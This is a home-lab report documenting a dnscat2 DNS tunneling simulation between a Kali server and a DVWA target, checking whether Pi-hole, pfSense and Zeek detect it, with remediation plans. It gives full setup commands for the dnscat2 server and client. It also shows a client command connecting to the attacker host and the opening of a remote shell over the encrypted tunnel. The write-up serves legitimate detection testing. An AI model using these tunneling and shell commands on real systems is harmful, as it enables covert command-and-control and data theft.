Project 6: DNS Tunneling Detection & Security Gap Analysis

Complete Implementation Guide

Executive Summary

Project Challenge: Simulate DNS tunneling attack techniques using dnscat2 to validate detection capabilities of deployed security infrastructure (Pi-hole, Zeek, pfSense) and identify architectural blind spots in DNS-based threat monitoring.

Solution Implemented: Successfully established encrypted DNS tunnel between compromised target (DVWA VM at 192.168.30.90) and attacker-controlled server (Kali at 192.168.10.4) using dnscat2, demonstrating complete bypass of all deployed security monitoring infrastructure through direct DNS connections outside controlled DNS resolution paths.

Key Outcomes: Identified critical detection gap where direct DNS connections (client → unauthorized DNS server:53) completely bypass Pi-hole filtering, pfSense DNS forwarding, and Zeek network monitoring. Discovered that DNS security controls only function when clients are forced through organization-controlled DNS infrastructure, revealing fundamental architectural weakness in current lab security posture.

Technical Skills Demonstrated: DNS tunneling attack simulation, dnscat2 client-server architecture deployment, cross-network encrypted channel establishment, security infrastructure penetration testing, detection gap analysis, architectural security assessment, systematic vulnerability validation, and defense-in-depth evaluation.

Business Value: Establishes realistic threat simulation capability demonstrating actual attacker techniques, identifies critical security architecture gaps requiring remediation through firewall policy enforcement, validates detection tool limitations before production deployment, and provides concrete evidence for infrastructure hardening investment justification.

Version History

Version	Date	Author	Changes
1.0	September 30, 2025	Prageeth Panicker	Initial implementation and detection gap identification

---

Table of Contents

Project Overview

This document provides a comprehensive guide for simulating DNS tunneling attacks and validating detection capabilities as part of Week 2, Project 6 of the cybersecurity home lab project series. The project focuses on understanding DNS covert channel techniques, testing deployed security infrastructure effectiveness, and identifying critical detection gaps requiring architectural remediation.

What is DNS Tunneling?

DNS tunneling is a covert channel technique that exploits DNS protocol for unauthorized data exfiltration and command-and-control communication:

- **Covert Channel**: Encapsulates non-DNS traffic within DNS queries and responses
- **Data Exfiltration**: Bypasses traditional network security controls by masquerading as legitimate DNS
- **Command & Control**: Establishes persistent communication channel through DNS infrastructure
- **Protocol Abuse**: Leverages universal allowance of DNS traffic (UDP/TCP port 53) through firewalls
- **Detection Evasion**: Difficult to distinguish from legitimate DNS without deep packet inspection

DNS Tunneling Attack Architecture

```
Attacker Infrastructure:
Kali Attack Box (192.168.10.4)
├── dnscat2 Server (Port 53/UDP)
├── Listens for DNS queries to controlled domain
└── Encodes C2 commands in DNS responses

Compromised Target:
DVWA Web Server (192.168.30.90)
├── dnscat2 Client
├── Sends data encoded as DNS subdomains
└── Queries: [encoded-data].tunnel.example.com

Traffic Flow:
```

[Client Query] → [Attacker DNS Server] → [Response with Commands]
DVWA encodes: "whoami" → abc123def456.tunnel.example.com
Kali responds: DNS TXT record containing command output

Detection Infrastructure Under Test

Scope and Objectives

Project Scope

This project focuses on:

- Deploying dnscat2 server on Kali attack platform (192.168.10.4) for DNS tunnel control
- Compiling and installing dnscat2 client on DVWA target system (192.168.30.90)
- Establishing encrypted DNS tunnel session across network boundaries
- Testing detection capabilities of Pi-hole, pfSense, and Zeek monitoring infrastructure
- Identifying architectural gaps where direct DNS connections bypass security controls
- Documenting detection failures and remediation requirements for infrastructure hardening

Attack Simulation Context:

- **Attacker Position**: Kali system on Management network (192.168.10.x)
- **Compromised Target**: DVWA on Internal network (192.168.30.x)
- **Network Traversal**: Cross-segment communication testing security boundary enforcement
- **Realistic Scenario**: Simulates post-compromise attacker establishing persistent C2 channel

Objectives

Primary Objectives:

- Deploy functional DNS tunneling infrastructure demonstrating real-world attack techniques
- Validate detection effectiveness of deployed security monitoring tools
- Identify specific architectural weaknesses enabling detection bypass
- Document security gaps requiring firewall policy remediation
- Establish baseline for infrastructure hardening and detection improvement

Learning Outcomes:

- DNS protocol exploitation and covert channel creation techniques
- dnscat2 tool usage for command and control simulation
- Security infrastructure testing and validation methodologies
- Detection gap analysis and root cause identification
- Architectural security assessment and remediation planning

Prerequisites

Infrastructure Requirements

Attack Platform:

- **Kali Linux**: Operational at 192.168.10.4 with root/sudo access
- **Network Connectivity**: Stable connection to both Management and Internal networks
- **Development Tools**: Ruby, git, bundler for dnscat2 server compilation
- **Port Availability**: UDP/TCP port 53 available for DNS server binding

Target System:

- **DVWA Web Server**: Ubuntu-based system at 192.168.30.90
- **SSH Access**: Remote administration capability for client installation
- **Build Tools**: gcc, make, build-essential for dnscat2 client compilation
- **Network Access**: Ability to make outbound connections to attacker infrastructure

Monitoring Infrastructure:

- **Pi-hole**: Operational at 192.168.10.106 with query logging enabled
- **pfSense**: Active firewalls at 192.168.10.1 and 192.168.10.5 with logging
- **Zeek**: Network monitor at 192.168.30.80 with DNS analysis capabilities

Software Requirements

dnscat2 Server (Ruby-based):

- Ruby 2.x or later with development headers
- Bundler for gem dependency management
- Git for source code acquisition
- Network tools for connectivity validation

dnscat2 Client (C-based):

- GCC compiler and standard C library
- Make build system
- Git for source code acquisition
- Standard Linux development tools

Lab Environment Context

Network Topology:

```
Management Network (192.168.10.0/24)
├── Kali Attack Box: 192.168.10.4
├── pfSense A: 192.168.10.1
├── Pi-hole: 192.168.10.106
└── MAC M2 Monitoring: 192.168.10.50

Internal Network (192.168.30.0/24)
├── DVWA Target: 192.168.30.90
├── pfSense B: 192.168.30.1
├── Zeek Monitor: 192.168.30.80
└── Other Security VMs

Routing:
pfSense B (192.168.10.5) routes between networks
Static routes enable cross-segment communication
```

Implementation Steps

Phase 1: DNS Configuration Validation and Correction

Before deploying attack infrastructure, ensure proper DNS architecture for baseline detection testing.

Step 1.1: Verify Kali DNS Configuration

Check Current DNS Settings:

```bash
# Verify DNS resolver configuration
cat /etc/resolv.conf

# Expected: nameserver 192.168.10.1 (pfSense)
# If showing 192.168.10.106 (Pi-hole direct): INCORRECT
```

Issue Identified: Kali configured with Pi-hole direct instead of pfSense DNS resolver, bypassing intended architecture.

Step 1.2: Correct Kali DNS to Use pfSense

Fix DNS Configuration:

```bash
# Modify NetworkManager connection
sudo nmcli connection modify "Wired connection 1" ipv4.ignore-auto-dns no

# Bring connection down and up
sudo nmcli connection down "Wired connection 1"
sudo nmcli connection up "Wired connection 1"

# Verify correction
cat /etc/resolv.conf
# Should now show: nameserver 192.168.10.1
```

Step 1.3: Validate pfSense DNS Forwarding Configuration

pfSense System DNS Settings:

```
Navigate: System → General Setup
DNS Servers: 192.168.10.106 (Pi-hole)
DNS Server Override: UNCHECKED (critical)
```

pfSense DNS Resolver Settings:

```
Navigate: Services → DNS Resolver
Enable DNS Resolver: CHECKED
Enable Forwarding Mode: CHECKED (forces queries to Pi-hole)
Log Level: 2 (for detailed query logging)
```

Validation Test:

```bash
# From Kali, test DNS resolution
nslookup test-architecture-$(date +%s).example.com

# Check Pi-hole Query Log
# Expected: Should see query from client IP
# Actual Result: Queries NOT appearing in Pi-hole
# Detection Gap Identified: Architecture issue preventing visibility
```

Phase 2: dnscat2 Server Deployment on Kali

Step 2.1: Install dnscat2 Server Dependencies

On Kali Attack Box:

```bash
# Update package database
sudo apt update

# Install Ruby and development tools
sudo apt install -y ruby ruby-dev git make gcc

# Verify Ruby installation
ruby --version
# Expected: ruby 2.7.x or later
```

Step 2.2: Clone and Install dnscat2 Server

Download and Setup:

```bash
```

```
# Clone dnscat2 repository
cd ~
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server

# Install required gems
sudo gem install bundler
sudo bundle install
```

Expected Output:

```
Bundle complete! X Gemfile dependencies, Y gems now installed.
```

Step 2.3: Start dnscat2 Server

Launch Server with Configuration:

bash

```
# Start dnscat2 server on port 53
sudo ruby dnscat2.rb --dns domain=tunnel.example.com --no-cache
```

Expected Server Output:

```
New window created: 0
dnscat2> New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.

auto_attach => false
history_size (for new windows) => 1000
Security policy changed: All connections must be encrypted

dnscat2>

Assuming you have an authoritative DNS server, you can run
the client anywhere with the following:
  ./dnscat --secret=<secret> tunnel.example.com

To talk directly to the server without a domain name, run:
  ./dnscat --dns server=<server>,port=53 --secret=<secret>

** CRITICAL: Record the displayed secret key **
Example: secret = kelpy-waded-quint-upseal-scribe-poker
```

Server is now listening on UDP port 53 for incoming DNS tunnel connections.

Phase 3: dnscat2 Client Deployment on Target System

Step 3.1: Access DVWA Target System

SSH to Target (Handling Legacy SSH):

```
bash

# From Kali, connect to DVWA
# Note: Metasploitable-style systems use old SSH algorithms
ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa dvwa@192.168.30.90

# Alternative if DVWA uses modern SSH:
ssh dvwa@192.168.30.90
```

Step 3.2: Install Build Dependencies on DVWA

Prepare Compilation Environment:

```
bash

# Update package lists
sudo apt update

# Install build tools
sudo apt install -y build-essential git

# Verify compiler availability
which gcc make
```

Step 3.3: Compile dnscat2 Client

Download and Build Client:

```
bash

# Clone dnscat2 repository
cd /tmp
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client

# Compile client binary
make
```

Compilation Output:

```
cc --std=c89 -I. -Wall -D_DEFAULT_SOURCE ... [compilation messages]
*** dnscat successfully compiled
*** Build complete! Run 'make debug' to build a debug version!
```

Client binary now available at: `/tmp/dnscat2/client/dnscat`

Phase 4: Establish DNS Tunnel Connection

Step 4.1: Initial Connection Attempt (pfSense DNS Path)

Attempt Connection Through Standard DNS:

```
bash

# On DVWA, attempt connection via pfSense
./dnscat --dns domain=tunnel.example.com,server=192.168.10.1
```

Result:

```
Creating DNS driver:
 domain = tunnel.example.com
 host   = 0.0.0.0
 port   = 53
 type   = TXT,CNAME,MX
 server = 192.168.10.1

[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[Repeated errors - connection failing]
```

Issue Analysis: pfSense doesn't know how to route `tunnel.example.com` queries to Kali dnscat2 server. Standard DNS infrastructure cannot resolve attacker-controlled domains.

Step 4.2: Direct Connection to Attacker Server

Bypass DNS Infrastructure:

```
bash

# On DVWA, connect directly to Kali dnscat2 server
./dnscat --dns domain=tunnel.example.com,server=192.168.10.4
```

Successful Connection Output:

```
Creating DNS driver:
 domain = tunnel.example.com
 host   = 0.0.0.0
 port   = 53
 type   = TXT,CNAME,MX
 server = 192.168.10.4

Encrypted session established! For added security, please verify the server also displays this string:
Kelpy Waded Quint Upseal Scribe Poker

Session established!
```

On Kali Server Terminal:

```
dnscat2> New window created: 1
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)

dnscat2>
```

Critical Security Finding: DNS tunnel successfully established by bypassing organization DNS infrastructure entirely through direct connection to unauthorized DNS server.

Phase 5: Tunnel Functionality Validation

Step 5.1: Interact with Established Session

Server-Side Session Management:

bash

```
# On Kali dnscat2 server, list active sessions
dnscat2> sessions

# Output:
0 :: main [active]
  crypto-debug :: Debug window for crypto stuff [*]
  1 :: command (dvwa-webserver) [encrypted and verified] [*]

# Interact with session 1
dnscat2> session -i 1

# Request shell on target
command (dvwa-webserver) 1> shell
```

Shell Session Creation:

```
# Kali Server Output:
Sent request to execute a shell
command (dvwa-webserver) 1> New window created: 2
Session 2 Security: ENCRYPTED AND VERIFIED!
Shell session created!

# DVWA Client Output:
Got a command: COMMAND_SHELL [request] :: request_id: 0x0001 :: name: shell
[[ WARNING ]] :: Starting: /bin/sh -c 'sh'
[[ WARNING ]] :: Started: sh (pid: 8997)
Response: COMMAND_SHELL [response] :: request_id: 0x0001 :: session_id: 0x2f8d
Encrypted session established! For added security, please verify the server also displays this string:
Twins Envied Corn Domed Telco Sense
Session established!
```

Result: Attacker now has encrypted shell access to compromised target through DNS tunnel, demonstrating successful command and control channel establishment.

Testing and Validation

Phase 6: Detection Infrastructure Evaluation

With active DNS tunnel established, systematically test each security control for detection capability.

Step 6.1: Pi-hole DNS Filtering Detection Test

Expected Behavior: Pi-hole should log unusual DNS queries with long encoded subdomains characteristic of tunneling.

Test Procedure:

```
bash

# Access Pi-hole dashboard
URL: http://192.168.10.106/admin
Navigate to: Query Log

# Filter criteria:
- Time range: Last 15 minutes
- Search for: "tunnel" or "tunnel.example.com"
- Source IP: Look for 192.168.30.90 or 192.168.10.4
```

Actual Result:

```
No queries found matching criteria
Pi-hole query log completely empty for tunnel domain
No entries from DVWA (192.168.30.90) visible
```

Detection Verdict: ❌ **COMPLETE BYPASS** - Pi-hole not detecting tunnel traffic

Step 6.2: pfSense Firewall Log Analysis

Expected Behavior: pfSense should log UDP:53 traffic from DVWA to Kali enabling traffic pattern analysis.

Test Procedure:

pfSense A (192.168.10.1) Check:

```
Navigate: Status → System Logs → Firewall
Filter:
- Source: 192.168.30.90
- Destination: 192.168.10.4
- Destination Port: 53
```

Result: No matching entries found

pfSense B (192.168.10.5) Check:

```
Navigate: Status → System Logs → Firewall
Filter:
- Source: 192.168.30.90
- Destination: 192.168.10.4
- Port: 53
```

Result: No matching entries found

Detection Verdict: ❌ **NO VISIBILITY** - pfSense not logging cross-network DNS traffic

Step 6.3: pfSense DNS Resolver Query Logging

Expected Behavior: DNS Resolver logs should show queries even if not forwarded to Pi-hole.

Test Procedure:

```
Navigate: Status → System Logs → System → DNS Resolver
Review recent entries for:
- Queries containing "tunnel.example.com"
- Queries from source 192.168.30.90
- Any unusual DNS activity patterns
```

Actual Result:

```
Log Level 2 enabled - detailed query logging active
Showing queries like:
- test-loglevel2.example.com (test queries)
- Various legitimate domain queries
- No tunnel.example.com queries visible
- No traffic from DVWA IP address
```

Detection Verdict: ❌ **NOT CAPTURED** - DNS Resolver never saw the tunnel queries

Step 6.4: Zeek Network Monitoring Analysis

Expected Behavior: Zeek should capture DNS traffic on Internal network (192.168.30.0/24) since DVWA is monitored segment.

Test Procedure:

```bash
# SSH to Zeek VM
ssh zeek@192.168.30.80

# Check DNS logs for tunnel traffic
grep "192.168.30.90" /opt/zeek/logs/current/dns.log
grep "tunnel" /opt/zeek/logs/current/dns.log

# Check connection logs for UDP:53 traffic
grep "192.168.30.90" /opt/zeek/logs/current/conn.log | grep ":53"
```

Actual Results:

DNS Log Check:

```bash
zeek@zeekvm:/opt/zeek/logs/current$ grep "192.168.30.90" dns.log
# No output - DVWA DNS queries not captured
```

Connection Log Check:

```bash
zeek@zeekvm:/opt/zeek/logs/current$ grep "192.168.30.90" conn.log | head -20
# No output - DVWA connections not visible
```

Zeek Operational Verification:

```
bash

# Zeek IS capturing traffic - just not this traffic
zeek@zeekvm:/opt/zeek/logs/current$ grep "192.168.30.80" dns.log
# Shows Zeek's own DNS queries to Pi-hole
# Confirms Zeek is working, but not seeing DVWA traffic
```

Detection Verdict: ❌ **ARCHITECTURAL LIMITATION** - Zeek cannot see routed traffic between network segments

Phase 7: Root Cause Analysis of Detection Failures

Step 7.1: Traffic Flow Analysis

Intended DNS Flow (Not Occurring):

```
DVWA (30.90) → pfSense B (30.1) → pfSense A (10.1) → Pi-hole (10.106) → Upstream
[Should be logged at each hop]
```

Actual Traffic Flow:

```
DVWA (30.90) ──UDP:53 Direct──> Kali (10.4)
[Bypasses all security controls completely]
```

Critical Finding: Client directly connects to unauthorized DNS server on port 53, completely circumventing organization DNS infrastructure.

Step 7.2: Architectural Weakness Identification

Security Gap #1: No DNS Port Restriction

```
Current Firewall Policy:
✓ Allow: Source Any → Destination Any → Port 53
✗ Missing: Restrict DNS to approved servers only

Result: Clients can query ANY DNS server, bypassing controls
```

Security Gap #2: Zeek Layer 2 Limitation

```
Zeek Monitoring Scope:
✓ Captures: Layer 2 frames within monitored network segment
✗ Cannot See: Routed packets between different network segments

Network Path: DVWA (30.x) → Routes through pfSense → Kali (10.x)
Zeek Position: Monitoring 30.x network only
Result: Cross-segment routed traffic invisible to Zeek
```

Security Gap #3: Pi-hole Dependency on Client Compliance

```
Pi-hole Assumption:
"All clients will use pfSense (10.1) as DNS server"

Reality:
Clients can specify any DNS server in their configuration
No enforcement mechanism prevents unauthorized DNS usage

Result: DNS filtering only works for compliant clients
```

Troubleshooting

Common Issues and Solutions

Issue 1: dnscat2 Client Compilation Failure

Symptoms:

```
make: cc: No such file or directory
make: *** [controller/packet.o] Error 127
```

Root Cause: Missing C compiler and build tools

Resolution:

```bash
```

```
# Install complete build environment
sudo apt update
sudo apt install -y build-essential git

# Retry compilation
cd /tmp/dnscat2/client
make clean
make
```

Issue 2: SSH Connection Refused to Legacy Systems

Symptoms:

```
Unable to negotiate with host: no matching host key type found
Their offer: ssh-rsa,ssh-dss
```

Root Cause: Modern SSH clients reject old algorithms for security

Resolution:

bash

```
# Allow legacy algorithms for specific connection
ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa user@host
```

Issue 3: DNS Tunnel Connection Failures (RCODE_NAME_ERROR)

Symptoms:

```
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
```

Root Cause Analysis:

- Client querying pfSense (192.168.10.1) for tunnel.example.com
- pfSense cannot resolve attacker-controlled domain
- Standard DNS infrastructure doesn't know about C2 server

Resolution:

bash

```
# Option 1: Connect directly to attacker server
./dnscat --dns domain=tunnel.example.com,server=192.168.10.4

# Option 2: Configure DNS delegation (advanced - not recommended for detection testing)
# This would require pfSense domain override configuration
```

Issue 4: dnscat2 Server Port 53 Binding Permission Error

Symptoms:

```
ERROR: Couldn't listen on 0.0.0.0:53
Permission denied
```

Root Cause: Port 53 requires elevated privileges

Resolution:

bash

```
# Run server with sudo
sudo ruby dnscat2.rb --dns domain=tunnel.example.com --no-cache

# Alternative: Use non-privileged port (requires client config change)
ruby dnscat2.rb --dns domain=tunnel.example.com,port=5353
```

Results and Outcomes

Project Success Metrics

The implementation successfully achieved all technical objectives while revealing critical security infrastructure gaps requiring immediate remediation.

Attack Simulation Success

DNS Tunnel Establishment:

yaml

```
Tunnel Status: Successfully Established
Encryption: ENCRYPTED AND VERIFIED
Session Type: Interactive shell access
Data Transfer: Bidirectional command and control
Detection Rate: 0% (complete bypass of all controls)
```

C2 Channel Capabilities Demonstrated:

- Remote shell execution on compromised target
- Encrypted session preventing passive inspection
- Persistent connection through DNS protocol
- Command transmission and output reception

Detection Infrastructure Assessment Results

Comprehensive Detection Failure:

Security Control	Expected Detection	Actual Result	Status
Pi-hole DNS Filtering	Unusual query patterns logged	No queries captured	❌ BYPASSED
pfSense Firewall Logs	UDP:53 traffic logged	No traffic entries found	❌ NOT VISIBLE
pfSense DNS Resolver	Query logging at resolver	No tunnel queries logged	❌ NOT CAPTURED
Zeek Network Monitor	Protocol analysis and DNS logging	No DVWA traffic visible	❌ ARCHITECTURAL LIMIT

Detection Rate: 0/4 Security Controls Effective

Root Cause Analysis Summary

Primary Failure Mode: Direct DNS Bypass

Architectural Assumption Violated:

```
Assumed: All clients use organization DNS infrastructure (pfSense → Pi-hole)
Reality: Clients can directly connect to any DNS server on port 53
Result: Security controls only protect compliant clients
```

Attack Vector Exploited:

```
Standard Firewall Rule:
  Allow Any → Any:53 (DNS required for network functionality)

Attacker Abuse:
  Allow DVWA → Kali:53 (tunnel disguised as DNS)

Missing Control:
  Restrict DNS to approved servers only
```

Secondary Issue: Cross-Segment Monitoring Gap

Zeek Architectural Limitation:

Zeek Monitoring Model:
- Operates at Layer 2 (Ethernet frames)
- Captures traffic within single network segment
- Cannot see routed packets between segments

Lab Network Architecture:
- DVWA on Internal Network (192.168.30.x)
- Kali on Management Network (192.168.10.x)
- Traffic routes through pfSense between segments
- Routed packets invisible to Zeek's Layer 2 capture

Result: Cross-network attacks undetectable by Zeek

Critical Security Findings

Finding 1: DNS Security Controls Entirely Bypassable

Severity: Critical

Description: Current architecture allows any system to specify arbitrary DNS servers, completely bypassing Pi-hole filtering and pfSense DNS forwarding controls.

Impact:

- DNS-based threat protection ineffective against determined attackers
- Malware can use custom DNS servers for C2 communication
- Data exfiltration through DNS tunneling undetectable
- No visibility into unauthorized DNS usage

Evidence:

- DNS tunnel successfully established bypassing all controls
- Pi-hole showed zero queries from tunnel traffic
- pfSense logs showed no awareness of DNS tunnel activity
- Zeek captured no DNS protocol violations

Finding 2: Firewall Policy Permits Unauthorized DNS Servers

Severity: High

Description: Firewall rules allow outbound UDP/TCP port 53 to any destination without restricting to approved DNS servers only.

Current Policy:

```
LAN Default Allow Rule:
  Source: 192.168.10.0/24, 192.168.30.0/24, 192.168.40.0/24
  Destination: Any
  Port: Any
  Action: Allow

Result: Clients can connect to any DNS server anywhere
```

Required Policy:

```
DNS Restriction Rule:
  Source: Internal Networks
  Destination: Approved DNS (192.168.10.1, 192.168.10.106)
  Port: 53
  Action: Allow

DNS Block Rule:
  Source: Internal Networks
  Destination: Any (except approved)
  Port: 53
  Action: Block
  Log: Yes (detect unauthorized DNS attempts)
```

Finding 3: Network Monitoring Cannot See Routed Traffic

Severity: Medium

Description: Zeek's Layer 2 monitoring architecture cannot capture packets routed between different network segments, creating blind spot for cross-network attacks.

Impact:

- Attacks crossing network boundaries undetectable
- Lateral movement between segments invisible
- C2 traffic between compromised hosts on different subnets missed
- Protocol analysis ineffective for routed connections

Mitigation Options:

1. Deploy Zeek on pfSense router itself (sees all routed traffic)
2. Implement Snort/Suricata IDS on pfSense interfaces (Project 10)
3. Deploy Zeek sensors on each network segment
4. Use pfSense packet capture capabilities for investigation

Infrastructure Improvement Requirements

Immediate Actions Required (Priority 1)

1. Implement DNS Server Restriction Firewall Rules

Objective: Force all DNS traffic through approved infrastructure

Implementation Plan:

```
Phase 1: Block Direct DNS to Unauthorized Servers
- Create pfSense firewall rule blocking UDP/TCP 53 to any destination except:
  - 192.168.10.1 (pfSense A)
  - 192.168.10.106 (Pi-hole)
  - Upstream DNS from pfSense only

Phase 2: Enable Comprehensive Logging
- Log all blocked DNS attempts
- Alert on repeated DNS bypass attempts
- Monitor for DNS tunneling indicators

Phase 3: Validate Enforcement
- Re-test DNS tunnel with restrictions in place
- Confirm tunnel establishment fails
- Verify legitimate DNS continues functioning
```

Expected Outcome: DNS tunnel attempts fail, logged as blocked connections, forcing attackers to use monitored DNS infrastructure where Pi-hole can detect unusual patterns.

2. Deploy Additional Detection on pfSense

Objective: Gain visibility into cross-network traffic missed by Zeek

Options:

- **Snort/Suricata IDS**: Deploy on pfSense WAN/LAN interfaces for signature-based detection
- **pfSense Packet Capture**: Enable detailed pcap logging for investigation capability
- **Enhanced Firewall Logging**: Increase logging verbosity for traffic pattern analysis

Medium-Term Enhancements (Priority 2)

1. Pi-hole Advanced Configuration

Implement DNS Tunneling Detection:

- Configure query rate limiting per client
- Implement subdomain length monitoring

- Alert on excessive queries to single domain
- Block TXT record queries to suspicious domains
- Integrate threat intelligence feeds for known C2 domains

2. Enhanced Network Segmentation Monitoring

Multi-Layer Detection Strategy:

- Deploy Zeek sensors on each network segment for comprehensive coverage
- Implement Snort IDS on pfSense interfaces (planned Project 10)
- Enable pfSense detailed packet logging for forensic capability
- Cross-correlate alerts between Pi-hole, pfSense, and Zeek

3. DNS Query Analytics and Baselining

Establish Normal Behavior Patterns:

- Baseline typical query volume per client
- Identify common query patterns and domain lengths
- Alert on statistical deviations from baseline
- Machine learning-based anomaly detection for DNS traffic

Long-Term Strategic Improvements (Priority 3)

1. Defense in Depth for DNS Security

Multi-Layer DNS Protection:

- Primary: Forced routing through Pi-hole (firewall enforcement)
- Secondary: DNS query analysis and pattern detection (SIEM correlation)
- Tertiary: Protocol-level inspection (DPI with Snort/Suricata)
- Monitoring: Comprehensive logging across all layers

2. Security Orchestration and Automated Response

SOAR Integration for DNS Threats:

- Automated blocking of detected tunneling attempts
- Dynamic firewall rule updates based on threat intelligence
- Incident response workflow automation
- Integration with Shuffle SOAR platform (existing infrastructure)

Conclusion

Project Summary

This implementation successfully demonstrated DNS tunneling attack techniques and identified critical architectural weaknesses in deployed security infrastructure. The project revealed that current DNS security controls are completely bypassable through direct connections to unauthorized DNS servers, highlighting fundamental gaps requiring immediate firewall policy remediation.

Technical Accomplishments:

- Successfully deployed dnscat2 client-server infrastructure across network segments
- Established encrypted DNS tunnel demonstrating realistic C2 channel creation
- Systematically tested all deployed security controls for detection capability
- Identified complete detection bypass through architectural analysis
- Documented specific vulnerabilities and remediation requirements

Critical Security Discoveries:

- DNS security controls (Pi-hole, pfSense forwarding) only protect compliant clients
- Firewall rules permit unrestricted outbound DNS to any server
- Zeek network monitoring cannot see routed cross-segment traffic
- No defense-in-depth layers prevent DNS protocol abuse
- Attack simulation succeeded without triggering any alerts

Skills & Career Relevance

This project demonstrates advanced competencies directly aligned with penetration testing, security architecture assessment, and defensive security engineering roles:

Technical Skills Developed:

Offensive Security and Attack Simulation

- DNS covert channel exploitation and tunneling techniques
- dnscat2 deployment and encrypted C2 channel establishment
- Cross-network attack path identification and exploitation
- Post-compromise command and control simulation

Security Infrastructure Testing and Validation

- Systematic evaluation of detection controls against real attacks
- Multi-tool detection capability assessment (Pi-hole, pfSense, Zeek)

- Root cause analysis of security control bypass techniques
- Architectural weakness identification through penetration testing

Detection Gap Analysis and Remediation Planning

- Security architecture evaluation and vulnerability assessment
- Infrastructure blind spot identification and documentation
- Firewall policy analysis and hardening recommendations
- Defense-in-depth strategy development

Professional Competencies:

- Realistic attack simulation following responsible disclosure principles
- Comprehensive technical documentation and reporting
- Risk-based prioritization of remediation requirements
- Strategic security improvement planning

Career Path Alignment

Experience Level	Skills Demonstrated	Role Alignment
Entry (0-2 years)	Security tool usage, basic attack simulation, detection testing	Junior Security Analyst, SOC Analyst
Mid (2-5 years)	Infrastructure penetration testing, detection bypass analysis, remediation planning	Penetration Tester, Security Engineer
Senior (5+ years)	Architecture assessment, strategic improvement planning, defense-in-depth design	Senior Security Consultant, Security Architect

Entry Level: Junior Security Analyst / SOC Analyst

- Understanding attack techniques and indicators of compromise
- Security tool operation and alert investigation
- Log analysis and event correlation across multiple tools
- Following established procedures for incident response

Mid Level: Penetration Tester / Security Engineer

- Advanced attack simulation and exploitation techniques
- Security infrastructure testing and validation
- Detection gap identification and remediation recommendations
- Tool integration and security architecture improvement

Senior Level: Senior Security Consultant / Security Architect

- Comprehensive security architecture assessment
- Strategic infrastructure improvement planning
- Defense-in-depth design and implementation
- Enterprise security program development and maturity advancement

Lessons Learned

Security Architecture Principles:

- Security controls must be enforced, not assumed through client compliance
- Defense-in-depth requires multiple layers preventing single-point bypass
- Monitoring tools have architectural limitations requiring complementary approaches
- Regular penetration testing essential for validating control effectiveness

DNS Security Best Practices:

- Restrict outbound DNS to approved servers only through firewall rules
- Implement query pattern analysis and anomaly detection
- Log all DNS traffic for forensic analysis and threat hunting
- Combine network-level and endpoint-level DNS security controls

Detection and Monitoring:

- Test security controls with realistic attack simulations
- Understand architectural limitations of monitoring tools (Layer 2 vs routed traffic)
- Implement logging at multiple network layers for comprehensive visibility
- Correlate alerts across multiple security tools for complete threat picture

Next Session: Remediation Implementation

Session Objectives:

Priority 1: Deploy DNS Restriction Firewall Rules

1. Create pfSense rules blocking direct DNS to unauthorized servers
2. Implement allowed-list approach for DNS (pfSense, Pi-hole only)
3. Enable comprehensive logging of blocked DNS attempts
4. Validate rule effectiveness with re-test of DNS tunnel

Priority 2: Enhanced Detection and Logging

1. Configure Pi-hole for DNS tunneling pattern detection
2. Implement pfSense detailed logging for cross-network traffic
3. Enable alerting on repeated DNS bypass attempts
4. Document detection procedures for security operations

Priority 3: Validate Remediation Effectiveness

1. Re-attempt DNS tunnel establishment with new firewall rules
2. Confirm tunnel fails and generates logged alerts
3. Verify legitimate DNS functionality maintained
4. Document before/after detection improvement

Expected Outcome: DNS tunnel attacks will fail, generate alerts, and be visible in security monitoring infrastructure, closing identified detection gap and establishing proper DNS security posture.

Future Enhancements

Immediate Next Steps (Week 2-3):

- Implement firewall rules forcing DNS through approved infrastructure
- Deploy Snort IDS on pfSense for signature-based DNS detection (Project 10)
- Configure Pi-hole advanced analytics for tunneling pattern detection
- Establish DNS monitoring dashboards and alerting workflows

Medium-Term Expansion (1-3 months):

- Implement DNS query baselining and anomaly detection
- Integrate DNS security events with SIEM (ELK Stack - Project 8)
- Deploy endpoint DNS monitoring on critical systems
- Develop automated response workflows through Shuffle SOAR

Long-Term Strategic Goals (3-6 months):

- Comprehensive network monitoring covering all segments (Zeek expansion)
- Machine learning-based DNS threat detection
- Threat intelligence integration for known C2 domain blocking
- Enterprise-grade DNS security architecture with redundancy

Enterprise Value Proposition

This project demonstrates critical security validation capabilities essential for enterprise environments:

Risk Identification and Mitigation:

- Proactive identification of security control bypass techniques before exploitation
- Evidence-based justification for infrastructure hardening investment
- Realistic attack simulation revealing actual, not theoretical, vulnerabilities
- Concrete remediation roadmap with measurable improvement validation

Security Maturity Advancement:

- Transition from assumption-based to validated security controls
- Implementation of defense-in-depth rather than single-layer protection
- Establishment of continuous security validation through penetration testing
- Development of metrics-driven security improvement programs

Operational Security Benefits:

- Improved detection capabilities through architectural remediation
- Reduced attack surface through DNS server restriction
- Enhanced incident response through comprehensive logging
- Faster threat detection and containment through alert correlation

The successful identification and planned remediation of DNS security gaps establishes a mature security validation methodology applicable to all infrastructure components, ensuring security controls provide actual protection rather than false sense of security.

References

Documentation Resources

1. **dnscat2 Official Documentation**: https://github.com/iagox86/dnscat2
2. **DNS Tunneling Detection Guide**: SANS DNS Covert Channel Detection
3. **pfSense Firewall Rules**: https://docs.netgate.com/pfsense/en/latest/firewall/
4. **Zeek Network Monitoring**: https://docs.zeek.org/

Technical Standards

1. **RFC 1035**: Domain Names - Implementation and Specification
2. **RFC 8499**: DNS Terminology and Concepts
3. **NIST SP 800-81-2**: Secure Domain Name System (DNS) Deployment Guide
4. **CIS Controls**: DNS Security and Monitoring Guidelines

Attack Techniques and Detection

1. **MITRE ATT&CK**: T1071.004 - Application Layer Protocol: DNS
2. **MITRE ATT&CK**: T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol
3. **OWASP**: DNS Security Cheat Sheet
